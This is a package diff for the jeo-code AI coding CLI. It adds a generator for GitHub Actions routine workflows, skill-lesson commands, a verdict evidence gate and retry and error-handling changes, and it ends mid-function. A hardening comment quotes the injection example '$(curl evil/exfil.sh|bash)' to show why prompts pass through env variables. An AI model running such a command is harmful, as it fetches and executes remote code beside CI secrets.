jeo-code 0.8.22 → 0.8.24
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +37 -0
- package/README.ja.md +19 -3
- package/README.ko.md +19 -3
- package/README.md +19 -3
- package/README.zh.md +19 -3
- package/package.json +1 -1
- package/src/agent/AGENTS.md +1 -1
- package/src/agent/browser-tool.ts +32 -3
- package/src/agent/engine.ts +80 -4
- package/src/agent/eval-tool.ts +433 -0
- package/src/agent/loop.ts +3 -2
- package/src/agent/memory.ts +24 -3
- package/src/agent/plan.ts +55 -0
- package/src/agent/prompt-router.ts +83 -4
- package/src/agent/skill-lessons.ts +316 -0
- package/src/agent/state.ts +26 -0
- package/src/agent/subagents.ts +7 -6
- package/src/agent/task-tool.ts +261 -72
- package/src/agent/vision-verify.ts +75 -0
- package/src/ai/model-catalog.ts +16 -0
- package/src/ai/model-manager.ts +11 -2
- package/src/ai/types.ts +4 -2
- package/src/cli/runner.ts +13 -1
- package/src/commands/launch.ts +197 -26
- package/src/commands/ralplan.ts +85 -15
- package/src/commands/routine.ts +249 -0
- package/src/commands/skills.ts +57 -0
- package/src/commands/team.ts +19 -0
- package/src/util/provider-error.ts +15 -0
- package/src/util/retry.ts +15 -4
- package/src/util/routine-template.ts +206 -0
|
@@ -0,0 +1,249 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `jeo routine init` — generate a GitHub Actions workflow that runs
|
|
3
|
+
* `jeo "<prompt>" -p` headlessly on a schedule or repo event.
|
|
4
|
+
*
|
|
5
|
+
* This is the SCOPED-SAFE take on "Routines": jeo-code itself never runs a
|
|
6
|
+
* scheduler, listens on a port, or accepts a webhook — it's a pure template
|
|
7
|
+
* generator. GitHub's own hosted runners do the actual triggering/running,
|
|
8
|
+
* which achieves "runs without your laptop" with zero new attack surface
|
|
9
|
+
* inside jeo-code's own process. See ../util/routine-template.ts for the
|
|
10
|
+
* pure YAML-building logic this command wraps with flag parsing + I/O.
|
|
11
|
+
*/
|
|
12
|
+
import * as fs from "node:fs/promises";
|
|
13
|
+
import * as path from "node:path";
|
|
14
|
+
import { renderRoutineWorkflow, validateCron, type RoutineConfig, type RoutineTrigger } from "../util/routine-template";
|
|
15
|
+
import { slugify } from "../agent/memory-okf";
|
|
16
|
+
|
|
17
|
+
const TRIGGERS: readonly RoutineTrigger[] = ["schedule", "issues", "pull_request"];
|
|
18
|
+
function isTrigger(val: string | undefined): val is RoutineTrigger {
|
|
19
|
+
return val !== undefined && (TRIGGERS as readonly string[]).includes(val);
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
const VALUE_FLAGS: Record<string, true> = { "--name": true, "--trigger": true, "--cron": true, "--prompt": true, "--api-key-env": true, "--out": true };
|
|
23
|
+
|
|
24
|
+
interface ParsedInit {
|
|
25
|
+
name: string;
|
|
26
|
+
triggerRaw?: string;
|
|
27
|
+
cron?: string;
|
|
28
|
+
prompt?: string;
|
|
29
|
+
apiKeyEnvVar: string;
|
|
30
|
+
openPr: boolean;
|
|
31
|
+
out?: string;
|
|
32
|
+
force: boolean;
|
|
33
|
+
dryRun: boolean;
|
|
34
|
+
json: boolean;
|
|
35
|
+
help: boolean;
|
|
36
|
+
/** Parse-level problems: unknown flags, or a value-flag given with no value. */
|
|
37
|
+
errors: string[];
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/** `--flag value` or `--flag=value`, matching launch/flags.ts's takeValue shape
|
|
41
|
+
* (a bare value-flag followed by another `-`-prefixed token is treated as
|
|
42
|
+
* missing, not as accidentally swallowing the next flag). */
|
|
43
|
+
function takeValue(args: string[], index: number, flag: string): { value?: string; nextIndex: number } {
|
|
44
|
+
const current = args[index]!;
|
|
45
|
+
const inline = `${flag}=`;
|
|
46
|
+
if (current.startsWith(inline)) return { value: current.slice(inline.length), nextIndex: index };
|
|
47
|
+
const next = args[index + 1];
|
|
48
|
+
if (next !== undefined && !next.startsWith("-")) return { value: next, nextIndex: index + 1 };
|
|
49
|
+
return { nextIndex: index };
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
function parseInitArgs(args: string[]): ParsedInit {
|
|
53
|
+
const parsed: ParsedInit = {
|
|
54
|
+
name: "jeo routine",
|
|
55
|
+
apiKeyEnvVar: "ANTHROPIC_API_KEY",
|
|
56
|
+
openPr: true,
|
|
57
|
+
force: false,
|
|
58
|
+
dryRun: false,
|
|
59
|
+
json: false,
|
|
60
|
+
help: false,
|
|
61
|
+
errors: [],
|
|
62
|
+
};
|
|
63
|
+
|
|
64
|
+
for (let i = 0; i < args.length; i++) {
|
|
65
|
+
const a = args[i]!;
|
|
66
|
+
const flag = a.includes("=") ? a.slice(0, a.indexOf("=")) : a;
|
|
67
|
+
|
|
68
|
+
if (flag === "-h" || flag === "--help") { parsed.help = true; continue; }
|
|
69
|
+
if (flag === "--no-pr") { parsed.openPr = false; continue; }
|
|
70
|
+
if (flag === "--force") { parsed.force = true; continue; }
|
|
71
|
+
if (flag === "--dry-run") { parsed.dryRun = true; continue; }
|
|
72
|
+
if (flag === "--json") { parsed.json = true; continue; }
|
|
73
|
+
|
|
74
|
+
if (VALUE_FLAGS[flag]) {
|
|
75
|
+
const { value, nextIndex } = takeValue(args, i, flag);
|
|
76
|
+
i = nextIndex;
|
|
77
|
+
if (value === undefined) {
|
|
78
|
+
parsed.errors.push(`${flag} requires a value`);
|
|
79
|
+
continue;
|
|
80
|
+
}
|
|
81
|
+
switch (flag) {
|
|
82
|
+
case "--name": parsed.name = value; break;
|
|
83
|
+
case "--trigger": parsed.triggerRaw = value; break;
|
|
84
|
+
case "--cron": parsed.cron = value; break;
|
|
85
|
+
case "--prompt": parsed.prompt = value; break;
|
|
86
|
+
case "--api-key-env": parsed.apiKeyEnvVar = value; break;
|
|
87
|
+
case "--out": parsed.out = value; break;
|
|
88
|
+
}
|
|
89
|
+
continue;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
parsed.errors.push(`Unknown flag: ${a}`);
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
return parsed;
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
function printUsage(): void {
|
|
99
|
+
console.log("Usage: jeo routine init [options]");
|
|
100
|
+
console.log("");
|
|
101
|
+
console.log('Generate a GitHub Actions workflow that runs `jeo "<prompt>" -p` headlessly');
|
|
102
|
+
console.log("on a schedule or repo event. GitHub's own hosted runners do the triggering —");
|
|
103
|
+
console.log("jeo-code never runs a scheduler or listens on a port for this.");
|
|
104
|
+
console.log("");
|
|
105
|
+
console.log("Options:");
|
|
106
|
+
console.log(" --trigger <schedule|issues|pull_request> Required. What fires the routine.");
|
|
107
|
+
console.log(" --prompt <text> Required. The task/goal text passed to `jeo -p`.");
|
|
108
|
+
console.log(' --cron <expr> Required when --trigger schedule (e.g. "0 7 * * *").');
|
|
109
|
+
console.log(' --name <name> Workflow display name. Default: "jeo routine".');
|
|
110
|
+
console.log(" --api-key-env <VAR_NAME> Secret env var name. Default: ANTHROPIC_API_KEY.");
|
|
111
|
+
console.log(" --no-pr Commit directly to the branch instead of opening a PR.");
|
|
112
|
+
console.log(" --out <path> Output path. Default: .github/workflows/jeo-routine-<slug>.yml");
|
|
113
|
+
console.log(" --force Overwrite an existing file at --out.");
|
|
114
|
+
console.log(" --dry-run Print the rendered YAML instead of writing it.");
|
|
115
|
+
console.log(" --json Machine-readable output.");
|
|
116
|
+
console.log(" -h, --help Show this help message.");
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
async function runInit(args: string[]): Promise<void> {
|
|
120
|
+
const parsed = parseInitArgs(args);
|
|
121
|
+
|
|
122
|
+
if (parsed.errors.length > 0) {
|
|
123
|
+
for (const e of parsed.errors) console.log(`Error: ${e}`);
|
|
124
|
+
printUsage();
|
|
125
|
+
process.exitCode = 1;
|
|
126
|
+
return;
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
if (parsed.help) {
|
|
130
|
+
printUsage();
|
|
131
|
+
return;
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
const problems: string[] = [];
|
|
135
|
+
if (!isTrigger(parsed.triggerRaw)) {
|
|
136
|
+
problems.push(
|
|
137
|
+
parsed.triggerRaw
|
|
138
|
+
? `--trigger must be one of: schedule, issues, pull_request (got '${parsed.triggerRaw}')`
|
|
139
|
+
: "--trigger is required (one of: schedule, issues, pull_request)",
|
|
140
|
+
);
|
|
141
|
+
}
|
|
142
|
+
if (!parsed.prompt) {
|
|
143
|
+
problems.push("--prompt is required");
|
|
144
|
+
}
|
|
145
|
+
const trigger = isTrigger(parsed.triggerRaw) ? parsed.triggerRaw : undefined;
|
|
146
|
+
if (trigger === "schedule") {
|
|
147
|
+
if (!parsed.cron) {
|
|
148
|
+
problems.push("--cron is required when --trigger schedule");
|
|
149
|
+
} else if (!validateCron(parsed.cron)) {
|
|
150
|
+
problems.push(`--cron '${parsed.cron}' does not look like a valid 5-field cron expression`);
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
if (problems.length > 0) {
|
|
155
|
+
for (const p of problems) console.log(`Error: ${p}`);
|
|
156
|
+
printUsage();
|
|
157
|
+
process.exitCode = 1;
|
|
158
|
+
return;
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
const config: RoutineConfig = {
|
|
162
|
+
name: parsed.name,
|
|
163
|
+
trigger: trigger!,
|
|
164
|
+
cron: parsed.cron,
|
|
165
|
+
prompt: parsed.prompt!,
|
|
166
|
+
apiKeyEnvVar: parsed.apiKeyEnvVar,
|
|
167
|
+
openPr: parsed.openPr,
|
|
168
|
+
};
|
|
169
|
+
|
|
170
|
+
let yaml: string;
|
|
171
|
+
try {
|
|
172
|
+
yaml = renderRoutineWorkflow(config);
|
|
173
|
+
} catch (err) {
|
|
174
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
175
|
+
if (parsed.json) console.log(JSON.stringify({ error: msg }));
|
|
176
|
+
else console.log(`Error: ${msg}`);
|
|
177
|
+
process.exitCode = 1;
|
|
178
|
+
return;
|
|
179
|
+
}
|
|
180
|
+
|
|
181
|
+
const outPath = parsed.out ?? path.join(".github", "workflows", `jeo-routine-${slugify(parsed.name)}.yml`);
|
|
182
|
+
const resolvedOut = path.resolve(process.cwd(), outPath);
|
|
183
|
+
|
|
184
|
+
if (parsed.dryRun) {
|
|
185
|
+
if (parsed.json) console.log(JSON.stringify({ dryRun: true, out: resolvedOut, yaml }, null, 2));
|
|
186
|
+
else console.log(yaml);
|
|
187
|
+
return;
|
|
188
|
+
}
|
|
189
|
+
|
|
190
|
+
let exists = true;
|
|
191
|
+
try {
|
|
192
|
+
await fs.access(resolvedOut);
|
|
193
|
+
} catch {
|
|
194
|
+
exists = false;
|
|
195
|
+
}
|
|
196
|
+
if (exists && !parsed.force) {
|
|
197
|
+
const msg = `${resolvedOut} already exists. Use --force to overwrite.`;
|
|
198
|
+
if (parsed.json) console.log(JSON.stringify({ error: msg }));
|
|
199
|
+
else console.log(`Error: ${msg}`);
|
|
200
|
+
process.exitCode = 1;
|
|
201
|
+
return;
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
await fs.mkdir(path.dirname(resolvedOut), { recursive: true });
|
|
205
|
+
// Atomic write: build the file fully off to the side, then rename into
|
|
206
|
+
// place, so a crash mid-write never leaves a truncated workflow file.
|
|
207
|
+
const tmpPath = `${resolvedOut}.tmp-${process.pid}`;
|
|
208
|
+
await fs.writeFile(tmpPath, yaml, "utf-8");
|
|
209
|
+
await fs.rename(tmpPath, resolvedOut);
|
|
210
|
+
|
|
211
|
+
if (parsed.json) {
|
|
212
|
+
console.log(JSON.stringify({ wrote: resolvedOut, trigger, apiKeyEnvVar: parsed.apiKeyEnvVar, openPr: parsed.openPr }, null, 2));
|
|
213
|
+
return;
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
console.log(`Wrote ${resolvedOut}`);
|
|
217
|
+
console.log("");
|
|
218
|
+
console.log("Next steps:");
|
|
219
|
+
console.log(` - Add '${parsed.apiKeyEnvVar}' as a repo secret: Settings -> Secrets and variables -> Actions.`);
|
|
220
|
+
if (trigger === "schedule") {
|
|
221
|
+
console.log(" - Scheduled workflows only run on the repo's default branch, and GitHub may");
|
|
222
|
+
console.log(" delay or skip scheduled runs on low-activity repos — this is documented");
|
|
223
|
+
console.log(" GitHub Actions behavior, not a bug in the generated workflow.");
|
|
224
|
+
}
|
|
225
|
+
console.log(` - Commit and push ${resolvedOut} to enable it.`);
|
|
226
|
+
}
|
|
227
|
+
|
|
228
|
+
export async function runRoutineCommand(args: string[]): Promise<void> {
|
|
229
|
+
const sub = args[0];
|
|
230
|
+
|
|
231
|
+
if (sub === "-h" || sub === "--help") {
|
|
232
|
+
printUsage();
|
|
233
|
+
return;
|
|
234
|
+
}
|
|
235
|
+
|
|
236
|
+
if (sub === undefined) {
|
|
237
|
+
printUsage();
|
|
238
|
+
process.exitCode = 1;
|
|
239
|
+
return;
|
|
240
|
+
}
|
|
241
|
+
|
|
242
|
+
if (sub !== "init") {
|
|
243
|
+
console.log(`Unknown 'jeo routine' subcommand '${sub}'. Usage: jeo routine init [options]`);
|
|
244
|
+
process.exitCode = 1;
|
|
245
|
+
return;
|
|
246
|
+
}
|
|
247
|
+
|
|
248
|
+
await runInit(args.slice(1));
|
|
249
|
+
}
|
package/src/commands/skills.ts
CHANGED
|
@@ -2,6 +2,7 @@ import * as fs from "node:fs/promises";
|
|
|
2
2
|
import * as path from "node:path";
|
|
3
3
|
import { SKILLS, getSkillFrom, formatSkill, loadSkills, skillDirs, bundledSkillFileContent, userSkillsDir } from "../skills/catalog";
|
|
4
4
|
import { getLocalJeoDir } from "../agent/state";
|
|
5
|
+
import { appendSkillLesson, evalSkillLessons, type SkillLesson } from "../agent/skill-lessons";
|
|
5
6
|
|
|
6
7
|
export { userSkillsDir };
|
|
7
8
|
|
|
@@ -147,6 +148,62 @@ export async function runSkillsCommand(args: string[] = []): Promise<void> {
|
|
|
147
148
|
return;
|
|
148
149
|
}
|
|
149
150
|
|
|
151
|
+
// `jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"` — manual
|
|
152
|
+
// lesson entry into the project-level skill file (the same compounding write the
|
|
153
|
+
// launch.ts stall-guard fires automatically; lets an agent or human record one directly).
|
|
154
|
+
if (cleanArgs[0] === "lesson") {
|
|
155
|
+
const [, skillName, kindArg, title, detail] = cleanArgs;
|
|
156
|
+
if (!skillName || !kindArg || !title || !detail) {
|
|
157
|
+
console.log('Usage: jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"');
|
|
158
|
+
process.exitCode = 1;
|
|
159
|
+
return;
|
|
160
|
+
}
|
|
161
|
+
const kind: SkillLesson["kind"] | null =
|
|
162
|
+
kindArg === "failure" ? "failure-mode" : kindArg === "anti-pattern" ? "anti-pattern" : null;
|
|
163
|
+
if (!kind) {
|
|
164
|
+
console.log(`Error: kind must be 'failure' or 'anti-pattern' (got '${kindArg}').`);
|
|
165
|
+
process.exitCode = 1;
|
|
166
|
+
return;
|
|
167
|
+
}
|
|
168
|
+
const result = await appendSkillLesson(cwd, { skill: skillName, kind, title, detail });
|
|
169
|
+
if (isJson) {
|
|
170
|
+
console.log(JSON.stringify(result, null, 2));
|
|
171
|
+
} else if (result.appended) {
|
|
172
|
+
console.log("Appended.");
|
|
173
|
+
} else if (result.reason === "duplicate") {
|
|
174
|
+
console.log("Already recorded (duplicate).");
|
|
175
|
+
} else {
|
|
176
|
+
console.log(`Error: ${result.reason ?? "unknown error"}`);
|
|
177
|
+
process.exitCode = 1;
|
|
178
|
+
}
|
|
179
|
+
return;
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
// `jeo skills eval <skill>` — self-eval half: judge whether recorded lessons are
|
|
183
|
+
// still covered by the skill's current guidance, or have gone stale.
|
|
184
|
+
if (cleanArgs[0] === "eval") {
|
|
185
|
+
const skillName = cleanArgs[1];
|
|
186
|
+
if (!skillName) {
|
|
187
|
+
console.log("Error: Missing skill name for 'eval' command.");
|
|
188
|
+
process.exitCode = 1;
|
|
189
|
+
return;
|
|
190
|
+
}
|
|
191
|
+
const result = await evalSkillLessons(cwd, skillName);
|
|
192
|
+
if (result === null) {
|
|
193
|
+
console.log(`No recorded lessons for '${skillName}' yet.`);
|
|
194
|
+
return;
|
|
195
|
+
}
|
|
196
|
+
if (isJson) {
|
|
197
|
+
console.log(JSON.stringify(result, null, 2));
|
|
198
|
+
} else {
|
|
199
|
+
console.log(`${result.covered}/${result.total} lessons still covered by current guidance.`);
|
|
200
|
+
for (const s of result.stale) {
|
|
201
|
+
console.log(` STALE ${s.title}: ${s.reason}`);
|
|
202
|
+
}
|
|
203
|
+
}
|
|
204
|
+
return;
|
|
205
|
+
}
|
|
206
|
+
|
|
150
207
|
// List/lookup over the MERGED set (bundled + ~/.jeo/skills + ~/.agents/skills + project dirs), matching the REPL /skill.
|
|
151
208
|
const skills = await loadSkills(cwd);
|
|
152
209
|
const command = cleanArgs[0];
|
package/src/commands/team.ts
CHANGED
|
@@ -519,6 +519,25 @@ function evaluateSubagentResult(
|
|
|
519
519
|
return false;
|
|
520
520
|
}
|
|
521
521
|
|
|
522
|
+
// Evidence gate (UNCONDITIONAL — same tier as parseRoleGateVerdict, never
|
|
523
|
+
// softened by --strict-mutations): an architect/critic verdict is worthless
|
|
524
|
+
// if the subagent never actually looked at anything. Mirrors goal-verifier.ts's
|
|
525
|
+
// applyEvidenceGate philosophy applied to the OTHER independent-verifier gate
|
|
526
|
+
// in this codebase — a formatted "Architectural Status: CLEAR" or "[OKAY]"
|
|
527
|
+
// first line is text the model can emit with ZERO real inspection; only an
|
|
528
|
+
// OBSERVED read/search/find/ast_grep/lsp call in this run counts as evidence
|
|
529
|
+
// the verdict is grounded in the actual repository state, not the model's own
|
|
530
|
+
// unverified assertion (2026 pattern: "avoid vibes verification — a claim is
|
|
531
|
+
// only trustworthy when backed by a programmatic, observed signal").
|
|
532
|
+
if ((role.id === "architect" || role.id === "critic") && result.readOnlyEvidenceCalls === 0) {
|
|
533
|
+
log(formatRalphStreamEvent(
|
|
534
|
+
"error",
|
|
535
|
+
`${role.title} returned a verdict with ZERO observed read/search/find/ast_grep/lsp calls — an unevidenced verdict is not trustworthy regardless of what the text claims. Blocking.`,
|
|
536
|
+
renderOpts,
|
|
537
|
+
));
|
|
538
|
+
return false;
|
|
539
|
+
}
|
|
540
|
+
|
|
522
541
|
// Round-8: a mutating role finished without a successful file mutation — the
|
|
523
542
|
// task may be legitimately read-only, but its "Changed Files:" claim is
|
|
524
543
|
// unverified. bash is tracked apart: an only-bash run MIGHT have mutated.
|
|
@@ -117,6 +117,21 @@ export function friendlyProviderError(err: unknown): string {
|
|
|
117
117
|
if (status === 401 || status === 403 || /\b40[13]\b/.test(msg)) {
|
|
118
118
|
return `${provider} rejected the credential (HTTP ${status ?? "401/403"}). Run 'jeo auth status', re-login with /provider login <name>, and for Antigravity prefer '/provider login antigravity' (gemini login only works when the Cloud Code Assist backend authorizes that token).`;
|
|
119
119
|
}
|
|
120
|
+
// A persistent 5xx (server-side fault on the provider's backend) — `ProviderHttpError`
|
|
121
|
+
// already embeds the numeric status directly in its message ("… failed (HTTP 500) …",
|
|
122
|
+
// caught here too, redundantly but harmlessly), but `ProviderStreamError` (the in-band
|
|
123
|
+
// SSE/stream error shape — antigravity.ts/gemini.ts's `google.rpc.Status` and
|
|
124
|
+
// openai-responses.ts's `response.failed`/`error` events) composes its `.message` from
|
|
125
|
+
// a STRING status code only ("Antigravity stream failed (INTERNAL): internal error"),
|
|
126
|
+
// never the numeric one, even though `.status` carries it correctly (explicitStatus
|
|
127
|
+
// for antigravity/gemini's google.rpc.Status `error.code`; the 500 default for
|
|
128
|
+
// openai-responses's non-rate_limit_exceeded codes). Without a digit anywhere in the
|
|
129
|
+
// text, launch.ts's `routeFailureReason` `/\b(?:500|502|503|504|529)\b/` text regex
|
|
130
|
+
// never matched, so the equivalent-pool fallback never fired for a stream-shaped 5xx
|
|
131
|
+
// even with a credentialed same-tier fallback sitting right there.
|
|
132
|
+
if (status !== undefined && status >= 500 && status < 600) {
|
|
133
|
+
return `${provider} hit a persistent server-side error (HTTP ${status}) — ${msg}. The provider's backend itself is failing; switch model with /model or wait and retry.`;
|
|
134
|
+
}
|
|
120
135
|
if ((err instanceof Error && err.name === "TimeoutError") || /the operation timed out/i.test(msg)) {
|
|
121
136
|
return `${provider} did not complete the request within the call timeout (default 30min). This is expected for a HIGH/XHIGH-reasoning-effort completion that legitimately runs long on a hard problem — raise JEO_CALL_TIMEOUT_MS (ms) if this recurs, or lower the thinking level with /model.`;
|
|
122
137
|
}
|
package/src/util/retry.ts
CHANGED
|
@@ -5,8 +5,16 @@ export interface RetryOptions {
|
|
|
5
5
|
isRetryable?: (err: unknown, attempt: number) => boolean;
|
|
6
6
|
sleep?: (ms: number) => Promise<void>; // injectable for tests (default real setTimeout)
|
|
7
7
|
random?: () => number; // injectable RNG for jitter (default Math.random); equal-jitter in [0.5x, 1x]
|
|
8
|
-
/** Notified before each backoff wait; `delayMs` is the wait actually applied.
|
|
9
|
-
|
|
8
|
+
/** Notified before each backoff wait; `delayMs` is the wait actually applied.
|
|
9
|
+
* Returning `false` (explicitly) aborts the retry ladder immediately — the
|
|
10
|
+
* pending error is thrown right away instead of sleeping and re-attempting.
|
|
11
|
+
* Lets a caller with a same-tier FALLBACK model available bail out of a
|
|
12
|
+
* same-model rate-limit retry loop early rather than riding the full
|
|
13
|
+
* `rateLimitRetries` budget (up to ~90s of escalating backoff) before the
|
|
14
|
+
* turn-level equivalent-pool fallback ever gets a chance to switch models.
|
|
15
|
+
* Any other return value (including `undefined`, the common case) continues
|
|
16
|
+
* the retry ladder unchanged. */
|
|
17
|
+
onRetry?: (attempt: number, err: unknown, delayMs: number) => void | false;
|
|
10
18
|
/** Aborts an in-progress backoff wait (e.g. Ctrl-C / turn cancel). Already-aborted or
|
|
11
19
|
* aborted-mid-wait rejects immediately instead of completing the sleep — the escape hatch
|
|
12
20
|
* for a long, honored provider `Retry-After` (see `rateLimitMaxServerDelayMs`: those are no
|
|
@@ -200,8 +208,11 @@ export async function withRetry<T>(fn: () => Promise<T>, opts?: RetryOptions): P
|
|
|
200
208
|
: 0;
|
|
201
209
|
const delay = Math.max(base, floor);
|
|
202
210
|
|
|
203
|
-
|
|
204
|
-
|
|
211
|
+
// A `false` return from onRetry means the caller wants to bail NOW instead of
|
|
212
|
+
// sleeping and re-attempting (see RetryOptions.onRetry's doc comment) — throw
|
|
213
|
+
// the pending error immediately rather than entering the backoff wait.
|
|
214
|
+
if (onRetry && onRetry(attempt, err, delay) === false) {
|
|
215
|
+
throw err;
|
|
205
216
|
}
|
|
206
217
|
|
|
207
218
|
await abortableSleep(sleep, delay, signal);
|
|
@@ -0,0 +1,206 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Pure GitHub Actions workflow YAML builder for `jeo routine init` (see
|
|
3
|
+
* ../commands/routine.ts). No I/O here — the command layer owns reading
|
|
4
|
+
* flags, resolving --out, and writing to disk; this module only turns a
|
|
5
|
+
* {@link RoutineConfig} into a workflow document string, which keeps it
|
|
6
|
+
* trivially unit-testable without touching the filesystem.
|
|
7
|
+
*
|
|
8
|
+
* Routines are the "scoped-safe" version of scheduled/triggered automation:
|
|
9
|
+
* jeo-code itself never runs a scheduler, listens on a port, or accepts a
|
|
10
|
+
* webhook — GitHub's own hosted runners do the triggering, and the generated
|
|
11
|
+
* workflow just installs jeo-code and runs `jeo "<prompt>" -p` (the existing
|
|
12
|
+
* headless one-shot mode, see launch/flags.ts) on their infrastructure. This
|
|
13
|
+
* is how the workflow "runs without your laptop" with zero new attack
|
|
14
|
+
* surface inside jeo-code's own process.
|
|
15
|
+
*/
|
|
16
|
+
|
|
17
|
+
export type RoutineTrigger = "schedule" | "issues" | "pull_request";
|
|
18
|
+
|
|
19
|
+
export interface RoutineConfig {
|
|
20
|
+
/** Workflow display name, e.g. "jeo nightly triage". */
|
|
21
|
+
name: string;
|
|
22
|
+
/** Which GitHub event fires the routine. */
|
|
23
|
+
trigger: RoutineTrigger;
|
|
24
|
+
/** Cron expression, REQUIRED when trigger === "schedule" (e.g. "0 7 * * *"). Ignored otherwise. */
|
|
25
|
+
cron?: string;
|
|
26
|
+
/** The natural-language task/goal text passed to `jeo "<prompt>" -p`. */
|
|
27
|
+
prompt: string;
|
|
28
|
+
/** Anthropic/OpenAI/etc — which env var the workflow expects as a repo secret. Default "ANTHROPIC_API_KEY". */
|
|
29
|
+
apiKeyEnvVar?: string;
|
|
30
|
+
/** true = the workflow opens a PR with any changes (safe default); false = commits directly to the CURRENT branch. Default true. */
|
|
31
|
+
openPr?: boolean;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
/** Build the `on:` block for `config.trigger`. `workflow_dispatch` is always
|
|
35
|
+
* included alongside the primary trigger so a human can manually run the
|
|
36
|
+
* routine on demand (e.g. to test it) regardless of what fires it
|
|
37
|
+
* automatically. Throws when `trigger === "schedule"` and no cron was given
|
|
38
|
+
* — a missing cron on a schedule trigger is a caller contract violation, so
|
|
39
|
+
* this fails loud instead of emitting a broken/empty schedule block. */
|
|
40
|
+
function renderTriggerBlock(config: RoutineConfig): string {
|
|
41
|
+
switch (config.trigger) {
|
|
42
|
+
case "schedule": {
|
|
43
|
+
if (!config.cron) {
|
|
44
|
+
throw new Error("renderRoutineWorkflow: config.cron is required when trigger is 'schedule'.");
|
|
45
|
+
}
|
|
46
|
+
const cron = config.cron.replace(/'/g, "''");
|
|
47
|
+
return [
|
|
48
|
+
"on:",
|
|
49
|
+
" schedule:",
|
|
50
|
+
` - cron: '${cron}'`,
|
|
51
|
+
" workflow_dispatch: {}",
|
|
52
|
+
].join("\n");
|
|
53
|
+
}
|
|
54
|
+
case "issues":
|
|
55
|
+
return [
|
|
56
|
+
"on:",
|
|
57
|
+
" issues:",
|
|
58
|
+
" types: [opened, labeled]",
|
|
59
|
+
" workflow_dispatch: {}",
|
|
60
|
+
].join("\n");
|
|
61
|
+
case "pull_request":
|
|
62
|
+
return [
|
|
63
|
+
"on:",
|
|
64
|
+
" pull_request:",
|
|
65
|
+
" types: [opened, synchronize]",
|
|
66
|
+
" workflow_dispatch: {}",
|
|
67
|
+
].join("\n");
|
|
68
|
+
default: {
|
|
69
|
+
// Exhaustiveness guard: a new RoutineTrigger member without a case
|
|
70
|
+
// above fails typecheck here rather than silently falling through.
|
|
71
|
+
const exhaustive: never = config.trigger;
|
|
72
|
+
throw new Error(`renderRoutineWorkflow: unknown trigger '${String(exhaustive)}'.`);
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
/** Build the step that runs `jeo "$JEO_ROUTINE_PROMPT" -p` headlessly. The
|
|
78
|
+
* prompt is passed through an `env:` var and referenced (never inlined
|
|
79
|
+
* directly into the shell script text) — GitHub's own Actions-hardening
|
|
80
|
+
* guidance: a `run:` script is executed by bash, and bash performs
|
|
81
|
+
* `$(...)`/backtick command substitution on ANY text inside a double-quoted
|
|
82
|
+
* string, INCLUDING one built via naive string interpolation of a value the
|
|
83
|
+
* workflow author doesn't fully control (a copy-pasted prompt, or one later
|
|
84
|
+
* templated from untrusted input like an issue body). Routing the value
|
|
85
|
+
* through `env:` means bash expands `$JEO_ROUTINE_PROMPT` as inert DATA —
|
|
86
|
+
* its contents are never re-parsed as shell syntax, so an embedded
|
|
87
|
+
* `$(curl evil/exfil.sh|bash)` cannot execute even though this step's
|
|
88
|
+
* `env:` block also carries the API-key secret. */
|
|
89
|
+
function renderJeoRunStep(config: RoutineConfig, apiKeyVar: string): string {
|
|
90
|
+
return [
|
|
91
|
+
" - name: Run jeo (headless)",
|
|
92
|
+
' run: jeo "$JEO_ROUTINE_PROMPT" -p',
|
|
93
|
+
" env:",
|
|
94
|
+
` ${apiKeyVar}: \${{ secrets.${apiKeyVar} }}`,
|
|
95
|
+
" JEO_ROUTINE_PROMPT: " + JSON.stringify(config.prompt),
|
|
96
|
+
].join("\n");
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
/** `openPr !== false` path: open (or update) a PR with whatever changes the
|
|
100
|
+
* jeo step made, instead of committing straight to the triggering branch.
|
|
101
|
+
* create-pull-request is a documented no-op when the working tree is clean
|
|
102
|
+
* after the previous step, so this is safe to run unconditionally — no
|
|
103
|
+
* diff-check step needed before it. */
|
|
104
|
+
function renderOpenPrStep(config: RoutineConfig): string {
|
|
105
|
+
const commitMessage = `jeo routine: ${config.name}`;
|
|
106
|
+
return [
|
|
107
|
+
" # peter-evans/create-pull-request no-ops when there's nothing to commit",
|
|
108
|
+
" # (clean working tree after the jeo step above) — safe to run every time.",
|
|
109
|
+
" - name: Open PR with any changes",
|
|
110
|
+
" uses: peter-evans/create-pull-request@v6",
|
|
111
|
+
" with:",
|
|
112
|
+
" branch: jeo-routine/${{ github.run_id }}",
|
|
113
|
+
` commit-message: ${JSON.stringify(commitMessage)}`,
|
|
114
|
+
` title: ${JSON.stringify(commitMessage)}`,
|
|
115
|
+
` body: ${JSON.stringify(`Automated changes from the "${config.name}" jeo routine.`)}`,
|
|
116
|
+
].join("\n");
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
/** `openPr === false` path: commit any changes straight to the branch the
|
|
120
|
+
* workflow ran on. The `git diff --staged --quiet ||` short-circuit makes
|
|
121
|
+
* an empty diff a silent no-op instead of a failing `git commit` (nothing
|
|
122
|
+
* to commit exits non-zero on a clean tree). */
|
|
123
|
+
function renderDirectCommitSteps(config: RoutineConfig): string {
|
|
124
|
